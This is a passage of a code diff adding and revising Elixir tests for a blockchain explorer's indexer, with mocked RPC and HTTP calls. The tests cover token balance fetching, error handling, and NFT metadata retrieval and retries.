address_hash_string = to_string(address_hash) + + assert_receive( + {:chain_event, :address_current_token_balances, :realtime, + %{ + address_hash: ^address_hash_string, + address_current_token_balances: [ + %{value: ^expected_value, token_contract_address_hash: ^token_contract_address_hash} + ] + }} + ) end - test "imports the given token balances from 2nd retry" do + test "fetches duplicate params only once" do %Address.TokenBalance{ address_hash: %Hash{bytes: address_hash_bytes} = address_hash, token_contract_address_hash: %Hash{bytes: token_contract_address_hash_bytes}, @@ -84,12 +118,45 @@ defmodule Indexer.Fetcher.TokenBalanceTest do %{ id: id, jsonrpc: "2.0", - error: %{code: -32015, message: "VM execution error.", data: ""} + result: "0x00000000000000000000000000000000000000000000d3c21bcecceda1000000" } ]} end ) + assert TokenBalance.run( + [ + {address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0}, + {address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0} + ], + nil + ) == :ok + + assert 1 = + from(tb in Address.TokenBalance, where: tb.address_hash == ^address_hash) + |> Repo.aggregate(:count, :id) + end + + test "filters out params with tokens that doesn't implement balanceOf function" do + address = insert(:address) + missing_balance_of_token = insert(:missing_balance_of_token, currently_implemented: true) + + assert TokenBalance.run( + [ + {address.hash.bytes, missing_balance_of_token.token_contract_address_hash.bytes, + missing_balance_of_token.block_number, "ERC-20", nil, 0} + ], + nil + ) == :ok + + assert Repo.all(Address.TokenBalance) == [] + end + + test "set currently_implemented: true for missing balanceOf token if balance was successfully fetched" do + address = insert(:address) + missing_balance_of_token = insert(:missing_balance_of_token) + window_size = Application.get_env(:explorer, MissingBalanceOfToken)[:window_size] + expect( EthereumJSONRPC.Mox, :json_rpc, @@ -105,55 +172,72 @@ defmodule Indexer.Fetcher.TokenBalanceTest do end ) + refute missing_balance_of_token.currently_implemented + assert TokenBalance.run( - [{address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0}], + [ + {address.hash.bytes, missing_balance_of_token.token_contract_address_hash.bytes, + missing_balance_of_token.block_number + window_size + 1, "ERC-20", nil, 0} + ], nil ) == :ok - token_balance_updated = Explorer.Repo.get_by(Address.TokenBalance, address_hash: address_hash) - - assert token_balance_updated.value == Decimal.new(1_000_000_000_000_000_000_000_000) - assert token_balance_updated.value_fetched_at != nil + assert %{currently_implemented: true} = Repo.one(MissingBalanceOfToken) end - test "does not try to fetch the token balance again if the retry is over" do - max_retries = 3 + test "in case of execution reverted error deletes token balance placeholders below the given number and inserts new missing balanceOf tokens" do + address = insert(:address) + %{contract_address_hash: token_contract_address_hash} = insert(:token) - Application.put_env(:indexer, :token_balance_max_retries, max_retries) + insert(:token_balance, + token_contract_address_hash: token_contract_address_hash, + address: address, + block_number: 0, + value_fetched_at: nil, + value: nil + ) - token_balance_a = insert(:token_balance, value_fetched_at: nil, value: nil) - token_balance_b = insert(:token_balance, value_fetched_at: nil, value: nil) + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: "eth_call", params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + error: %{code: "-32000", message: "execution reverted"} + } + ]} + end + ) - token_balances = [ - { - token_balance_a.address_hash.bytes, - token_balance_a.token_contract_address_hash.bytes, - "ERC-20", - nil, - token_balance_a.block_number, - # this token balance must be ignored - max_retries - }, - { - token_balance_b.address_hash.bytes, - token_balance_b.token_contract_address_hash.bytes, - "ERC-20", - nil, - token_balance_b.block_number, - # this token balance still have to be retried - max_retries - 2 - } - ] + assert TokenBalance.run( + [ + {address.hash.bytes, token_contract_address_hash.bytes, 1, "ERC-20", nil, 0} + ], + nil + ) == :ok + + assert %{token_contract_address_hash: ^token_contract_address_hash, block_number: 1} = + Repo.one(MissingBalanceOfToken) - assert TokenBalance.run(token_balances, nil) == :ok + assert Repo.all(Address.TokenBalance) == [] end - test "fetches duplicate params only once" do - %Address.TokenBalance{ - address_hash: %Hash{bytes: address_hash_bytes} = address_hash, - token_contract_address_hash: %Hash{bytes: token_contract_address_hash_bytes}, - block_number: block_number - } = insert(:token_balance, value_fetched_at: nil, value: nil) + test "in case of other error updates the refetch_after and retries_count of token balance" do + address = insert(:address) + %{contract_address_hash: token_contract_address_hash} = insert(:token) + + insert(:token_balance, + token_contract_address_hash: token_contract_address_hash, + address: address, + block_number: 1, + value_fetched_at: nil, + value: nil, + refetch_after: nil, + retries_count: nil + ) expect( EthereumJSONRPC.Mox, @@ -164,7 +248,7 @@ defmodule Indexer.Fetcher.TokenBalanceTest do %{ id: id, jsonrpc: "2.0", - result: "0x00000000000000000000000000000000000000000000d3c21bcecceda1000000" + error: %{code: "-32000", message: "other error"} } ]} end @@ -172,15 +256,13 @@ defmodule Indexer.Fetcher.TokenBalanceTest do assert TokenBalance.run( [ - {address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0}, - {address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0} + {address.hash.bytes, token_contract_address_hash.bytes, 1, "ERC-20", nil, 0} ], nil ) == :ok - assert 1 = - from(tb in Address.TokenBalance, where: tb.address_hash == ^address_hash) - |> Explorer.Repo.aggregate(:count, :id) + assert %{retries_count: 1, refetch_after: refetch_after} = Repo.one(Address.TokenBalance) + refute is_nil(refetch_after) end end @@ -261,7 +343,8 @@ defmodule Indexer.Fetcher.TokenBalanceTest do address_hash: "0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", block_number: 19999, token_contract_address_hash: to_string(contract.contract_address_hash), - token_id: 11, + token_id: nil, + value: 100_500, token_type: "ERC-20" }, %{ @@ -275,5 +358,30 @@ defmodule Indexer.Fetcher.TokenBalanceTest do assert TokenBalance.import_token_balances(token_balances_params) == :ok end + + test "import ERC-404 token balances and return :ok" do + contract = insert(:token) + insert(:block, number: 19999) + + token_balances_params = [ + %{ + address_hash: "0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", + block_number: 19999, + token_contract_address_hash: to_string(contract.contract_address_hash), + token_id: 11, + token_type: "ERC-404" + }, + %{ + address_hash: "0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", + block_number: 19999, + token_contract_address_hash: to_string(contract.contract_address_hash), + token_id: nil, + value: 100_500, + token_type: "ERC-404" + } + ] + + assert TokenBalance.import_token_balances(token_balances_params) == :ok + end end end diff --git a/apps/indexer/test/indexer/fetcher/token_instance/helper_test.exs b/apps/indexer/test/indexer/fetcher/token_instance/helper_test.exs new file mode 100644 index 000000000000..9acb91b52e21 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/token_instance/helper_test.exs @@ -0,0 +1,862 @@ +defmodule Indexer.Fetcher.TokenInstance.HelperTest do + use EthereumJSONRPC.Case + use Explorer.DataCase, async: false + + alias Explorer.Chain.Token.Instance + alias Explorer.Repo + alias Indexer.Fetcher.TokenInstance.Helper + alias Plug.Conn + + import Mox + + setup :verify_on_exit! + setup :set_mox_global + + setup do + bypass = Bypass.open() + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, bypass: bypass} + end + + describe "fetch instance tests" do + test "fetches json metadata for kitties" do + result = + "{\"id\":100500,\"name\":\"KittyBlue_2_Lemonade\",\"generation\":20,\"genes\":\"623509754227292470437941473598751240781530569131665917719736997423495595\",\"created_at\":\"2017-12-06T01:56:27.000Z\",\"birthday\":\"2017-12-06T00:00:00.000Z\",\"image_url\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/100500.svg\",\"image_url_cdn\":\"https://img.cn.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/100500.svg\",\"color\":\"strawberry\",\"background_color\":\"#ffe0e5\",\"bio\":\"Shalom! I'm KittyBlue_2_Lemonade. I'm a professional Foreign Film Director and I love cantaloupe. I'm convinced that the world is flat. One day I'll prove it. It's pawesome to meet you!\",\"kitty_type\":null,\"is_fancy\":false,\"is_exclusive\":false,\"is_special_edition\":false,\"fancy_type\":null,\"language\":\"en\",\"is_prestige\":false,\"prestige_type\":null,\"prestige_ranking\":null,\"prestige_time_limit\":null,\"status\":{\"is_ready\":true,\"is_gestating\":false,\"cooldown\":1410310201506,\"dynamic_cooldown\":1475064986478,\"cooldown_index\":10,\"cooldown_end_block\":0,\"pending_transaction_type\":null,\"pending_tx_since\":null},\"purrs\":{\"count\":1,\"is_purred\":false},\"watchlist\":{\"count\":0,\"is_watchlisted\":false},\"hatcher\":{\"address\":\"0x7b9ea9ac69b8fde875554321472c732eeff06ca0\",\"image\":\"14\",\"nickname\":\"KittyBlu\",\"hasDapper\":false,\"twitter_id\":null,\"twitter_image_url\":null,\"twitter_handle\":null},\"auction\":{},\"offer\":{},\"owner\":{\"address\":\"0x7b9ea9ac69b8fde875554321472c732eeff06ca0\",\"hasDapper\":false,\"twitter_id\":null,\"twitter_image_url\":null,\"twitter_handle\":null,\"image\":\"14\",\"nickname\":\"KittyBlu\"},\"matron\":{\"id\":46234,\"name\":\"KittyBlue_1_Limegreen\",\"generation\":10,\"enhanced_cattributes\":[{\"type\":\"body\",\"kittyId\":19631,\"position\":105,\"description\":\"cymric\"},{\"type\":\"coloreyes\",\"kittyId\":40356,\"position\":263,\"description\":\"limegreen\"},{\"type\":\"eyes\",\"kittyId\":3185,\"position\":16,\"description\":\"raisedbrow\"},{\"type\":\"pattern\",\"kittyId\":46234,\"position\":-1,\"description\":\"totesbasic\"},{\"type\":\"mouth\",\"kittyId\":46234,\"position\":-1,\"description\":\"happygokitty\"},{\"type\":\"colorprimary\",\"kittyId\":46234,\"position\":-1,\"description\":\"greymatter\"},{\"type\":\"colorsecondary\",\"kittyId\":46234,\"position\":-1,\"description\":\"lemonade\"},{\"type\":\"colortertiary\",\"kittyId\":46234,\"position\":-1,\"description\":\"granitegrey\"}],\"owner_wallet_address\":\"0x7b9ea9ac69b8fde875554321472c732eeff06ca0\",\"owner\":{\"address\":\"0x7b9ea9ac69b8fde875554321472c732eeff06ca0\"},\"created_at\":\"2017-12-03T21:29:17.000Z\",\"image_url\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/46234.svg\",\"image_url_cdn\":\"https://img.cn.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/46234.svg\",\"color\":\"limegreen\",\"is_fancy\":false,\"kitty_type\":null,\"is_exclusive\":false,\"is_special_edition\":false,\"fancy_type\":null,\"status\":{\"is_ready\":true,\"is_gestating\":false,\"cooldown\":1486487069384},\"hatched\":true,\"wrapped\":false,\"image_url_png\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/46234.png\"},\"sire\":{\"id\":82090,\"name\":null,\"generation\":19,\"enhanced_cattributes\":[{\"type\":\"body\",\"kittyId\":82090,\"position\":-1,\"description\":\"himalayan\"},{\"type\":\"coloreyes\",\"kittyId\":82090,\"position\":-1,\"description\":\"strawberry\"},{\"type\":\"eyes\",\"kittyId\":82090,\"position\":-1,\"description\":\"thicccbrowz\"},{\"type\":\"pattern\",\"kittyId\":82090,\"position\":-1,\"description\":\"totesbasic\"},{\"type\":\"mouth\",\"kittyId\":82090,\"position\":-1,\"description\":\"pouty\"},{\"type\":\"colorprimary\",\"kittyId\":82090,\"position\":-1,\"description\":\"aquamarine\"},{\"type\":\"colorsecondary\",\"kittyId\":82090,\"position\":-1,\"description\":\"chocolate\"},{\"type\":\"colortertiary\",\"kittyId\":82090,\"position\":-1,\"description\":\"granitegrey\"}],\"owner_wallet_address\":\"0x798fdad0cedc4b298fc7d53a982fa0c5f447eaa5\",\"owner\":{\"address\":\"0x798fdad0cedc4b298fc7d53a982fa0c5f447eaa5\"},\"created_at\":\"2017-12-05T06:30:05.000Z\",\"image_url\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/82090.svg\",\"image_url_cdn\":\"https://img.cn.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/82090.svg\",\"color\":\"strawberry\",\"is_fancy\":false,\"is_exclusive\":false,\"is_special_edition\":false,\"fancy_type\":null,\"status\":{\"is_ready\":true,\"is_gestating\":false,\"cooldown\":1486619010030},\"kitty_type\":null,\"hatched\":true,\"wrapped\":false,\"image_url_png\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/82090.png\"},\"children\":[],\"hatched\":true,\"wrapped\":false,\"enhanced_cattributes\":[{\"type\":\"colorprimary\",\"description\":\"greymatter\",\"position\":null,\"kittyId\":100500},{\"type\":\"coloreyes\",\"description\":\"strawberry\",\"position\":null,\"kittyId\":100500},{\"type\":\"body\",\"description\":\"himalayan\",\"position\":null,\"kittyId\":100500},{\"type\":\"colorsecondary\",\"description\":\"lemonade\",\"position\":null,\"kittyId\":100500},{\"type\":\"mouth\",\"description\":\"pouty\",\"position\":null,\"kittyId\":100500},{\"type\":\"pattern\",\"description\":\"totesbasic\",\"position\":null,\"kittyId\":100500},{\"type\":\"eyes\",\"description\":\"thicccbrowz\",\"position\":null,\"kittyId\":100500},{\"type\":\"colortertiary\",\"description\":\"kittencream\",\"position\":null,\"kittyId\":100500},{\"type\":\"secret\",\"description\":\"se5\",\"position\":-1,\"kittyId\":100500},{\"type\":\"purrstige\",\"description\":\"pu20\",\"position\":-1,\"kittyId\":100500}],\"variation\":null,\"variation_ranking\":null,\"image_url_png\":\"https://img.cryptokitties.co/0x06012c8cf97bead5deae237070f9587f8e7a266d/100500.png\",\"items\":[]}" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://api.cryptokitties.co/kitties/100500"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: result + }} + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x06012c8cf97bead5deae237070f9587f8e7a266d"), + type: "ERC-721" + ) + + [%Instance{metadata: metadata}] = + Helper.batch_fetch_instances([{token.contract_address_hash, 100_500}]) + + assert Map.get(metadata, "name") == "KittyBlue_2_Lemonade" + end + + test "replace {id} with actual token_id", %{bypass: bypass} do + json = """ + { + "name": "Sérgio Mendonça {id}" + } + """ + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0x0e89341c0000000000000000000000000000000000000000000000000000000000000309", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000309", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-1155" + ) + + assert [ + %Instance{ + metadata: %{ + "name" => "Sérgio Mendonça 0000000000000000000000000000000000000000000000000000000000000309" + } + } + ] = Helper.batch_fetch_instances([{token.contract_address_hash, 777}]) + end + + test "fetch ipfs of ipfs/{id} format" do + address_hash_string = String.downcase("0x7e01CC81fCfdf6a71323900288A69e234C464f63") + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000000", + to: ^address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000033697066732f516d6439707654684577676a544262456b4e6d6d47466263704a4b773137666e524241543454643472636f67323200000000000000000000000000" + } + ]} + end) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/Qmd9pvThEwgjTBbEkNmmGFbcpJKw17fnRBAT4Td4rcog22"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: "123", + headers: [{"Content-Type", "image/jpg"}] + }} + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x7e01CC81fCfdf6a71323900288A69e234C464f63"), + type: "ERC-721" + ) + + assert [ + %Instance{ + metadata: %{ + "image" => "ipfs://Qmd9pvThEwgjTBbEkNmmGFbcpJKw17fnRBAT4Td4rcog22" + } + } + ] = Helper.batch_fetch_instances([{token.contract_address_hash, 0}]) + end + + test "re-fetch metadata from baseURI", %{bypass: bypass} do + json = """ + { + "name": "123" + } + """ + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0xc87b56dd0000000000000000000000000000000000000000000000004f3f5ce294ff3d36", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + error: %{code: -32015, data: "Reverted 0x", message: "execution reverted"}, + id: id, + jsonrpc: "2.0" + } + ]} + end) + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card/"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x6c0360eb", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect( + bypass, + "GET", + "/api/card/5710384980761197878", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-721" + ) + + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Helper, base_uri_retry?: true) + + assert [ + %Instance{ + metadata: %{ + "name" => "123" + } + } + ] = + Helper.batch_fetch_instances([{token.contract_address_hash, 5_710_384_980_761_197_878}]) + + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Helper, base_uri_retry?: false) + end + + # https://github.com/blockscout/blockscout/issues/9696 + test "fetch json in utf8 format" do + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0xc87b56dd000000000000000000000000000000000000000000000000042a0d58bfd13000", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000115646174613a6170706c69636174696f6e2f6a736f6e3b757466382c7b226e616d65223a20224f4d4e493430342023333030303637303030303030303030303030222c226465736372697074696f6e223a225468652066726f6e74696572206f66207065726d697373696f6e6c657373206173736574732e222c2265787465726e616c5f75726c223a2268747470733a2f2f747769747465722e636f6d2f6f6d6e69636861696e343034222c22696d616765223a2268747470733a2f2f697066732e696f2f697066732f516d55364447586369535a5854483166554b6b45716a3734503846655850524b7853546a675273564b55516139352f626173652f3330303036373030303030303030303030302e4a5047227d0000000000000000000000" + } + ]} + end) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-404" + ) + + assert [ + %Instance{ + metadata: %{ + "name" => "OMNI404 #300067000000000000", + "description" => "The frontier of permissionless assets.", + "external_url" => "https://twitter.com/omnichain404", + "image" => + "https://ipfs.io/ipfs/QmU6DGXciSZXTH1fUKkEqj74P8FeXPRKxSTjgRsVKUQa95/base/300067000000000000.JPG" + } + } + ] = Helper.batch_fetch_instances([{token.contract_address_hash, 300_067_000_000_000_000}]) + end + + test "check that decoding error is stored in error, not in metadata", %{bypass: bypass} do + json = """ + invalid json + { + "name": "Sérgio Mendonça {id}" + } + """ + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0x0e89341c0000000000000000000000000000000000000000000000000000000000000309", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000309", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-1155" + ) + + Helper.batch_fetch_instances([{token.contract_address_hash, 777}]) + + %Instance{ + metadata: nil, + error: "wrong metadata type" + } = 777 |> Instance.token_instance_query("0x5caebd3b32e210e85ce3e9d51638b9c445481567") |> Repo.one() + end + + test "check ipfs credentials not exposed to metadata", %{bypass: bypass} do + old_env = Application.get_env(:indexer, :ipfs) + + public_ipfs_gateway = "https://ipfs.io/ipfs" + + Application.put_env( + :indexer, + :ipfs, + Keyword.merge(old_env, + gateway_url_param_key: "secret_key", + gateway_url_param_value: "secret_value", + gateway_url_param_location: :query, + gateway_url: "http://localhost:#{bypass.port}", + public_gateway_url: public_ipfs_gateway + ) + ) + + url = "/ipfs/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu" + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode([url], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0x0e89341c0000000000000000000000000000000000000000000000000000000000000309", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect( + bypass, + "GET", + "/bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu", + fn conn -> + assert conn.params["secret_key"] == "secret_value" + + conn + |> Conn.put_resp_content_type("image/jpg") + |> Conn.resp(200, "img") + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-1155" + ) + + assert [ + %Instance{ + metadata: %{ + "image" => img_url + } + } + ] = Helper.batch_fetch_instances([{token.contract_address_hash, 777}]) + + refute String.contains?(img_url, "secret_key") || String.contains?(img_url, "secret_value") + assert img_url == "ipfs://" <> "bafybeig6nlmyzui7llhauc52j2xo5hoy4lzp6442lkve5wysdvjkizxonu" + Application.put_env(:indexer, :ipfs, old_env) + end + end + + describe "check retries count and refetch after" do + test "retries count 0 for new instance" do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry) + + coef = config[:exp_timeout_coeff] + base = config[:exp_timeout_base] + max_refetch_interval = config[:max_refetch_interval] + + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = build(:token_instance, token_contract_address_hash: erc_721_token.contract_address_hash) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, %{}} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + now = DateTime.utc_now() + timeout = min(coef * base ** 0 * 1000, max_refetch_interval) + refetch_after = DateTime.add(now, timeout, :millisecond) + + [instance] = Repo.all(Instance) + + assert instance.retries_count == 0 + assert DateTime.diff(refetch_after, instance.refetch_after) < 1 + assert !is_nil(instance.error) + assert not instance.is_banned + end + + test "proper updates retries count and refetch after on retry" do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry) + + coef = config[:exp_timeout_coeff] + base = config[:exp_timeout_base] + max_refetch_interval = config[:max_refetch_interval] + + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = + insert(:token_instance, + token_contract_address_hash: erc_721_token.contract_address_hash, + error: "error", + metadata: nil + ) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, %{}} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + now = DateTime.utc_now() + timeout = min(coef * base ** 1 * 1000, max_refetch_interval) + refetch_after = DateTime.add(now, timeout, :millisecond) + + [instance] = Repo.all(Instance) + + assert instance.retries_count == 1 + assert DateTime.diff(refetch_after, instance.refetch_after) < 1 + assert !is_nil(instance.error) + assert not instance.is_banned + end + + test "success insert after retry" do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry) + + coef = config[:exp_timeout_coeff] + base = config[:exp_timeout_base] + max_refetch_interval = config[:max_refetch_interval] + + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = build(:token_instance, token_contract_address_hash: erc_721_token.contract_address_hash) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + now = DateTime.utc_now() + timeout = min(coef * base ** 1 * 1000, max_refetch_interval) + refetch_after = DateTime.add(now, timeout, :millisecond) + + [instance] = Repo.all(Instance) + + assert instance.retries_count == 1 + assert DateTime.diff(refetch_after, instance.refetch_after) < 1 + assert !is_nil(instance.error) + assert not instance.is_banned + + token_address = to_string(erc_721_token.contract_address_hash) + + data = + "0xc87b56dd" <> + (ABI.TypeEncoder.encode([token_instance.token_id], [{:uint, 256}]) |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: ^data, + to: ^token_address + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000115646174613a6170706c69636174696f6e2f6a736f6e3b757466382c7b226e616d65223a20224f4d4e493430342023333030303637303030303030303030303030222c226465736372697074696f6e223a225468652066726f6e74696572206f66207065726d697373696f6e6c657373206173736574732e222c2265787465726e616c5f75726c223a2268747470733a2f2f747769747465722e636f6d2f6f6d6e69636861696e343034222c22696d616765223a2268747470733a2f2f697066732e696f2f697066732f516d55364447586369535a5854483166554b6b45716a3734503846655850524b7853546a675273564b55516139352f626173652f3330303036373030303030303030303030302e4a5047227d0000000000000000000000" + } + ]} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + [instance] = Repo.all(Instance) + + assert instance.retries_count == 2 + assert is_nil(instance.refetch_after) + assert is_nil(instance.error) + assert not instance.is_banned + + assert instance.metadata == %{ + "name" => "OMNI404 #300067000000000000", + "description" => "The frontier of permissionless assets.", + "external_url" => "https://twitter.com/omnichain404", + "image" => + "https://ipfs.io/ipfs/QmU6DGXciSZXTH1fUKkEqj74P8FeXPRKxSTjgRsVKUQa95/base/300067000000000000.JPG" + } + end + + test "Don't fail on high retries count" do + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = + insert(:token_instance, + token_contract_address_hash: erc_721_token.contract_address_hash, + error: "error", + metadata: nil, + retries_count: 50 + ) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, %{}} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + [instance] = Repo.all(Instance) + + assert instance.retries_count == 51 + assert is_nil(instance.refetch_after) + assert !is_nil(instance.error) + assert instance.is_banned + end + + test "set is_banned (VM execution error) if retries_count > 9" do + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = + insert(:token_instance, + token_contract_address_hash: erc_721_token.contract_address_hash, + error: "error", + metadata: nil, + retries_count: 9 + ) + + token_address = to_string(erc_721_token.contract_address_hash) + + data = + "0xc87b56dd" <> + (ABI.TypeEncoder.encode([Decimal.to_integer(token_instance.token_id)], [{:uint, 256}]) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: ^data, + to: ^token_address + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + error: %{code: -32015, data: "Reverted 0x", message: "execution reverted"}, + id: id, + jsonrpc: "2.0" + } + ]} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + [instance] = Repo.all(Instance) + assert instance.error == "VM execution error" + assert instance.is_banned + end + + test "don't set is_banned (VM execution error) if retries_count < 9" do + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = + 